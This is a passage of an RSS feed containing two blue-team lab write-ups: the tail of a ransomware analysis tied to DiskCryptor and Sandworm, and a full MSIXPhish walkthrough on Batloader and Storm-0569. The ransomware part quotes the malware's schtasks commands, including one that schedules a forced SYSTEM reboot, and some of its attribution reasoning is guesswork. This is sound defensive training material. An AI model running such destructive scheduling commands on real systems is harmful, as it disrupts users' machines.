src="https://cdn-images-1.medium.com/max/1024/1*Qejk8J8mRWZqggbEFYyz5w.png" /></figure><pre>The Answer:  T1071.001</pre><h3>Q6: Persistence mechanisms are a hallmark of sophisticated ransomware. Identifying how persistence was achieved can aid in recovery and prevention of reinfection.<br>What is the MITRE ATT&amp;CK Sub-Technique ID associated with the ransomware’s persistence technique?</h3><p>based on common ransomware behaviors, such as creating scheduled tasks that execute malicious actions automatically. This technique is frequently used by ransomware because of its effectiveness in ensuring the malware’s persistence after reboots or at specific times</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6dGn0uE9M8hcZFHM3bfavA.png" /></figure><pre>The Answer:  T1053.005</pre><h3>Q7: As part of its infection chain, the ransomware created specific tasks to ensure its continued operation. Recognizing these tasks is crucial for system restoration. What are the names of the tasks created by the ransomware during execution?</h3><p>“schtasks /Delete /F /TN rhaegal” This command deletes a scheduled task named rhaegal from the system forcibly, without asking for user confirmation</p><p>“schtasks /Create /SC once /TN drogon /RU SYSTEM /TR “%WINDIR%\system32\shutdown.exe /r /t 0 /f” /ST 21:21:00&quot; This command schedules a one-time <strong>forced restart</strong> of the system at 9:21 PM under the highly privileged <strong>SYSTEM</strong> account</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XKY4jJJ3Tqjpfk38MnEdpQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*suoYv2GyhbRh7alxyX9PHA.png" /><figcaption>also in Virustotal in Behavior section in Files Written</figcaption></figure><pre>The Answer: rhaegal , drogon</pre><h3>Q8: the malicious binary dispci.exe displayed a <strong>suspicious message</strong> upon execution, urging users to disable their defenses. This tactic aimed to evade detection and enable the ransomware&#39;s full execution. What suspicious message was displayed in the Console upon executing this binary?</h3><p>i searched with hash in VirusTotal</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sH4189cEJNjE1ZUr6wpVAA.png" /></figure><p>I searched in MalShare website with hash</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YtgyejtNFnlNy8dq2W1C5A.png" /></figure><p>after downloading the file I run it into sandbox to see what will do</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wbO3tN8zNrfNOIKZm6J6dA.png" /></figure><p>as we see this is the answer</p><pre>The Answer: Disable your anti-virus and anti-malware programs  </pre><h3>Q9: To modify the Master Boot Record (MBR) and encrypt the victim’s hard drive, the ransomware utilized a specific driver. Recognizing this driver is essential for understanding the encryption mechanism.<br>What is the name of the driver used to encrypt the hard drive and modify the MBR?</h3><p>I executed the ransomware in a controlled sandbox environment and began by searching for driver files dropped in the directory:</p><p><strong>C:\Windows\System32\Drivers\</strong></p><p>I specifically looked for .sys files starting with the letter &quot;D.&quot; However, I was unable to locate any relevant files.</p><p>To continue the investigation, I extracted the ransomware’s executable file to search for .sys files. Unfortunately, this search was also unsuccessful. Instead, I discovered a .txt file containing metadata or information about the ransomware.</p><p>Upon reviewing the content, I found that the <strong>legal copyright</strong> mentioned was <strong>DiskCryptor.net</strong>. Based on this, I inferred that DiskCryptor, a legitimate open-source tool used for disk encryption, was likely being misused by the ransomware authors for malicious purposes.</p><p>To verify my hypothesis, I conducted further testing, and my assumption was correct: the ransomware indeed leveraged DiskCryptor in its operation</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*joe9yBYbx5MQHLC5wmk4Kg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HOz-WWMpCzvIIdCSz7ckdw.png" /></figure><p>I searched more and the dispci.exe hash in virustotal</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fe-1SyQ0OO3OzwROXYWmvA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6GddNijdb11OWMeZiFRZ-g.png" /></figure><pre>The Answer: Diskcryptor</pre><h3>Q10: Investigators identified a driver file used by the ransomware for encryption. The hash of this file is a vital artifact for correlation with threat intelligence databases.<br>What is the SHA256 hash of the critical driver file?</h3><p>i searched with hash of Discryptor32.exe ( b0ec1b68a81b9c1d6e82c127a695aa9a0cac24668aaaa47522acbb420a743283)</p><p>and in behaviour section I found dcrypt.sys file and this is what i want its hash</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I83Qt4ybkLCxXtiPP609uA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ua-gPC9k-5ZpvCvtCayAEQ.png" /></figure><pre>The Answer: 682adcb55fe4649f7b22505a54a9dbc454b4090fc2bb84af7db5b0908f3b7806</pre><h3>Q11: Attribution is key to understanding the threat landscape. The ransomware was tied to a known attack group through its tactics, techniques, and procedures (TTPs).<br>What is the name of the threat actor responsible for this ransomware campaign?</h3><p>I asked some questions about the behavior of the file</p><p><strong>Does the ransomware modify the MBR?</strong> → Yes</p><p><strong>Does it pretend to be ransomware but act like a wiper?</strong> → Yes</p><p><strong>Does it have links to Russian state operations?</strong> → Yes</p><p>so it&#39;s related to Sandworm</p><pre>The Answer: Sandworm</pre><h3>Q12: The ransomware rendered the system unbootable by corrupting critical system components. Identifying the technique used provides insight into its destructive capabilities.<br>What is the MITRE ATT&amp;CK ID for the technique used to corrupt the system firmware and prevent booting?</h3><p>The technique used to corrupt system firmware and prevent booting falls under <strong>MITRE ATT&amp;CK T1495 — Firmware Corruption</strong>.</p><p>MITRE ATT&amp;CK ID: T1495 — Firmware Corruption</p><p>Attackers modify or corrupt the firmware to <strong>render systems unbootable</strong>.</p><p>Used by destructive malware and advanced threat actors like <strong>Sandworm (NotPetya, Industroyer)</strong>.</p><p>Affects BIOS/UEFI, making system recovery difficult.</p><pre>The Answer: T1495</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*803EuObNv1e-LHFxqCEffg.png" /></figure><p>Thank you for taking the time to read this write-up! If you found it helpful, I’d greatly appreciate a thumbs up.</p><p>Until next time, take care and stay secure!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=18972c39eba9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploring MSIXPhish Lab: A Comprehensive Walkthrough]]></title>
            <link>https://medium.com/@abdelrahman0x1/exploring-msixphish-lab-a-comprehensive-walkthrough-97bb71d66079?source=rss-bac32a292b9d------2</link>
            <guid isPermaLink="false">https://medium.com/p/97bb71d66079</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cyberdefender]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <dc:creator><![CDATA[Abdelrahman Metwaly]]></dc:creator>
            <pubDate>Tue, 07 Jan 2025 09:54:38 GMT</pubDate>
            <atom:updated>2025-01-07T09:55:41.844Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xdxazsdqf0LMbH3R79DAfw.png" /></figure><p>The <a href="https://cyberdefenders.org/blueteam-ctf-challenges/msixphish/">MSIXPhish</a> Lab is designed to simulate real-world phishing attack scenarios leveraging MSIX packaging technology. It provides a hands-on environment for security enthusiasts to understand, analyze, and defend against phishing campaigns that exploit application delivery mechanisms. This walkthrough will guide you through the lab setup, execution, and key takeaways to strengthen your phishing detection and mitigation skills.</p><h4>Q1: To effectively mitigate the threat, it’s important to determine the origin or category of this malware. Can you identify which malware family this sample is associated with to understand its typical behaviors and associated risks better?</h4><p>After downloading the file, you will find a text file named FileHash.txt which contains the hash value</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6YyXjIcZyzAq0uvll_E9dw.png" /><figcaption>FileHash.txt</figcaption></figure><p>you will copy this hash and search for it in (Virustotal.com)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vOGoZLl1DcMrioQo2usyXw.png" /><figcaption>Virustotal.com</figcaption></figure><p>The family to which this Malware belongs in the result of the search</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UODUUrHNdJKZpmm0729thg.png" /></figure><pre>The Answer: Batloader</pre><h3>Q2: It’s important to identify the malware’s first public appearance to effectively track its history and spread. Can you provide this malware&#39;s initial submission date and time on VirusTotal?</h3><p>There is a section called ‘Details’ that provides additional information about the Malware.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eVhY6Vph_5E8qnzA0ZN-6w.png" /><figcaption>Details Section</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h-17uAJ2-pyTM3Tc5xMK7A.png" /><figcaption>History</figcaption></figure><p>In the ‘History’ section, you will find the first submission and the most recent submission details for this Malware.</p><pre>The Answer:  12-12-2023 18:08:13</pre><h3>Q3: Recognizing a specific MITRE technique employed by the malware helps develop targeted defense strategies. What’s the MITRE ID of the method used by the malware for data collection?</h3><p>Look for the <strong>behavioral analysis</strong> or <strong>static analysis</strong> sections, Identify specific actions the malware performs related to <strong>data collection</strong>, such as keylogging, credential harvesting, or file theft.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*psACyugvdwMThJK-G_XHQw.png" /></figure><p><strong>Review the MITRE ATT&amp;CK Tactics and Techniques Section</strong>:</p><p>Under the <strong>Collection,</strong> tactic (TA0009), the specific technique employed for data collection will be listed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1ICX7rNtrIcF5hrvPiNmWg.png" /></figure><p><strong>Cross-Reference with MITRE ATT&amp;CK</strong>:</p><p>Open the MITRE ATT&amp;CK framework and search for techniques under the <strong>Collection (TA0009)</strong> tactic.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xNuDIZ3rgHDlLDM4m6uSXA.png" /></figure><p><a href="https://attack.mitre.org/tactics/TA0009/"><strong>The adversary is trying to gather data of interest to their goal, Collection consists of techniques adversaries may use to gather information and the sources</strong></a><strong>…</strong></p><p>From the <strong>Behavior Tags</strong> in your earlier activity summary, we see checks-user-input as one of the tags, This aligns with <strong>T1056</strong>, as it involves capturing user input, often keystrokes, through malicious methods.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*igF3zgeawwe8023nIyzV3g.png" /></figure><p>Although <strong>Collection (TA0009)</strong> is one of the tactics listed, no specific technique was directly shown in the output for that tactic.</p><p>Instead, under <strong>Credential Access (TA0006)</strong>, the <strong>Input Capture (T1056)</strong> technique is mentioned.</p><p>Credential access through keystroke logging is a form of data collection, which makes T1056 a valid answer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UHlF_KRoEEi9Jd8Z8Igeuw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FYUUY9YOvlBfV4V2CQ31Nw.png" /></figure><pre>The Answer: T1056</pre><h3>Q4: Knowing the names of executable files dropped by the malware aids in detecting and isolating infected machines. What is the name of the executable file (.exe) dropped by the malware</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kUXvxy3V0Mvo_PGjyh-DcA.png" /></figure><p>In the same ‘Behavior’ section, under ‘Activity Summary,’ you will find ‘Dropped Files,’ which lists several files with different extensions (1 TEXT, 21 OTHER, 1 XML, 1 PE_EXE, 1 SCRIPT, 1 ZIP). Clicking on any of these files will take you to the ‘File Related’ section for more details</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*orOkBIspphz_3fOOoeQDpg.png" /></figure><p>scroll down you will find the “File Opened” list it you will find the Exe extension</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gfx2IOSB0YZ8TIb6U7vEDQ.png" /><figcaption>File Dropped</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yGJBy4xFjcb1fpo5AD92HQ.png" /></figure><pre>The Answer: Install.exe </pre><h3>Q5: Continuing on the previous question. Can you identify the name of the second execution parent observed in the wild for the executable discovered in the previous question?</h3><p>First, log in to your VirusTotal account. Once logged in, open the “Explore in Threat Graph” feature to start analyzing the threat data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PWifQFXrh7FRa2dG0mgMjA.png" /></figure><p>Next, select a file. On the left side, you’ll see an option labeled “Execution Parents.” Click on it, and it will display all executable files related to the main file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TxFheuAguwvJfY3NWL1MQA.png" /></figure><p>Next, search for the second file related to the main file. Once located, open the details of this file to examine further information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4BTqakwZz2YkhBGbn5fsrA.png" /></figure><p>The file name displayed is the answer you’re looking for</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NwU8u77584u_mc-Nsb9KkQ.png" /></figure><pre>The Answer:  ZoomInstaller.msix</pre><h3>Q6: Identifying the domains used in attacks can help block future malicious communication and understand attacker infrastructure. What domain is used by the threat actor to host the illegitimate application installer?</h3><p>I couldn’t find any domains, so I checked the ‘Community’ tab of Install.exe. There, I discovered that Microsoft referenced this file, which we can use as our next resource</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ztTDHRCqjz4WYs02y28eng.png" /></figure><p>I checked the link in the <a href="https://www.microsoft.com/en-us/security/blog/2023/12/28/financially-motivated-threat-actors-misusing-app-installer/">Reference</a></p><p>We discovered that many threat actor groups use App Installer (MSIX) as an entry point. However, the threat actor specifically targeting the Zoom Installer is Storm-0569. To answer this question, we can retrieve the domain from Storm-0569’s Indicators of Compromise (IOC).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*EghZSjYALXerGZphHY3-AA.png" /></figure><pre>The Answer: scheta.site</pre><h3>Q7: We need to identify the access vector abused by the malware to mitigate it. What protocol handler is exploited by the malware?</h3><p>we will find it in same blog</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1005/1*bhkXMfQv8K6rDvTrs8modg.png" /></figure><p><em>ms-appinstaller</em> is a protocol handler used by the App Installer application in Windows. It enables users to install MSIX packages directly from a URL, often hosted on a web server or a network location</p><pre>The Answer : ms-appinstaller</pre><h3>Q8: Uncovering the threat actor associated with this malware is key to understanding their tactics, techniques, and procedures (TTPs) and bolstering defenses against future attacks. Can you provide the name of the threat actor?</h3><p>in same blog</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i5TZy1TRPNIQe2SD7BGTPQ.png" /></figure><pre>The Answer: Storm-0569</pre><p>Finally, The MSIXPhish malware highlights a significant and evolving threat in the cybersecurity landscape. It effectively details how financially motivated threat actors exploit Microsoft’s App Installer (MSIX) to deliver malware under the guise of legitimate applications, such as Zoom. By leveraging phishing techniques and trusted branding, attackers bypass user defenses to establish initial access. The report is well-researched, providing critical insights into the tactics, techniques, and procedures (TTPs) of actors like Storm-0569, as well as actionable recommendations for mitigation. This serves as a crucial resource for both organizations and individuals to bolster their defenses against similar attacks.</p><p>Thank you for taking the time to read this write-up! If you found it helpful, I’d greatly appreciate a thumbs up.</p><p>Until next time, take care and stay secure!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=97bb71d66079" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>